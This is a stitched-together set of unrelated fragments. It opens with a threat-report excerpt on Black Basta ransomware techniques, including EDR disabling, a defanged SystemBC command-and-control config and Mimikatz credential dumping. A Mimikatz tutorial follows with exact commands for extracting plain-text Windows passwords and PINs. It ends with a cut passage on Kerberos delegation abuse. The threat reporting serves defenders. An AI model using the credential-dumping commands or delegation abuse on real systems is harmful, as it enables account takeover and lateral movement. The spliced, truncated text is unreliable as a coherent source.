Mimikatz tool

They use a legitimate copy of the process explorer driver within C:\Windows\system32\drivers\ . This driver is used to kill process handles of the EDR tools. The tool then checks the registry for names of common EDR tools and disables user access control (UAC) before attempting to remove those EDR tools.MITRE ATT&CK: T1562.001: Disable or Modify ToolsMITRE ATT&CK: T1059: Command and Scripting InterpreterTo maintain control, Black Basta has been identified by Kroll as using multiple tools for command and control (C2). Common legitimate tools, including AnyDesk, AteraAgent and Splashtop, have been identified providing remote access.MITRE ATT&CK: T1219: Remote Access SoftwareKroll has identified that the remote access tool known as SystemBC is indicative of Black Basta cases. The tool is preconfigured with C2 domains and can also be utilized as a Tor proxy to provide a channel for the threat actor to deploy scripts and other tools. Figure 6 details the Black Basta configuration of SystemBC in one case. The name of the file is often obfuscated with a random name such as gemoh.exe. SystemBC also creates a scheduled task to maintain persistence, usually named the same as the binary itself within C:\Windows\Tasks\.{ "HOST1": "restoreimagesinc[.]com", "HOST2": "restoreimagesinc[.]com", "PORT1": "443", "TOR": ""}Figure 6 – SystemBC configMITRE ATT&CK: T1090: ProxyEscalationIn a number of Black Basta cases, the threat actor successfully phished a local administrator account; however, Mimikatz is also used to access these credentials via a cache. This is run on the domain controller once access is gained. Mimikatz is often renamed by Black Basta in a likely attempt to evade security solutions even after disabling anti-virus solutions. Mimikatz is a common post-exploitation tool used to collect Windows credentials. It is also used for collecting Kerberos tickets and is most commonly used to extract password hashes from LSA dumps and the security account managers database. The credentials are extracted and are then “cracked” to provide a credential pair. Mimikatz also provides the ability to conduct “pass the hash” by extracting the NTLM hash and allowing the hash to be forwarded to gain access to other devices without the need to know the victim’s password.MITRE ATT&CK: T1003: OS Credential DumpingMITRE ATT&CK: T1558: Steal or Forge Kerberos TicketsBlack Basta attempts to increase privileges with open-source tools such as nircmd.exe and nsudo.exe, which can allow execution at higher levels of privilege. These are often delivered via Qakbot or SystemBC.CobaltStrike provides capabilities to gain increased privileges such as SYSTEM-level execution and “pass the hash” capabilities. Kroll has identified on several Black Basta cases that server message block (SMB) remote service execution is leveraged by pushing files from the domain controller (see Lateral Movement for more details). Pass the hash attempts have also been identified with Type 9 logins

In this tutorial we'll show you how to decrypt and recover the original Pin code and Picture Password in Windows 8/8.1, without brute-forcing them. Both Pin code and Picture Password are authentication methods based on a local user account. During setting up a Pin code or Picture Password, you'll be prompted to enter the traditional text-based password. The problem is that Windows 8 will then store your Pin code / Picture password as well as the original text password in plain text. Mimikatz is a free open-source tool to recover this plain-text password, it saves you time and power needed to brute force a 16 character NT/LM password during pen-testing or tech work. Follow this tutorial and you can extract the Windows Pin code and Picture Password in plain text. Note: Mimikatz needs admin privileges to work properly. If you couldn't log on to Windows 8 as administrator, you can reset the forgotten local administrator password or Microsoft account password with PCUnlocker Live CD/USB drive. How to Decrypt / Recover Windows 8 Pin Code and Picture Password? Download the Mimikatz tool (mimikatz_trunk.zip) from Benjamin Delpy's blog. Decompress the zip file and you'll then find that the tool has both 32-bit and 64-bit versions – make sure you pick the correct version. Right-click on the Mimikatz.exe file and select Run as administrator from the context menu. You'll be provided with an interactive prompt that allows you to perform a number of different commands. Firstly we'll need to enable debug mode with the privilege::debug command: privilege::debug Next run the token::elevate command to elevate your privilege to NT Authority\SYSTEM. token::elevate Execute the following command and it will quickly extract all types of plain-text passwords from Windows Vault, including Pin code, Picture Password and traditional text password. vault::list If you use a Microsoft account

(e.g TIME):In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.Resource Based Constrained DelegationWUT IS DIS?: TL;DR If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it.
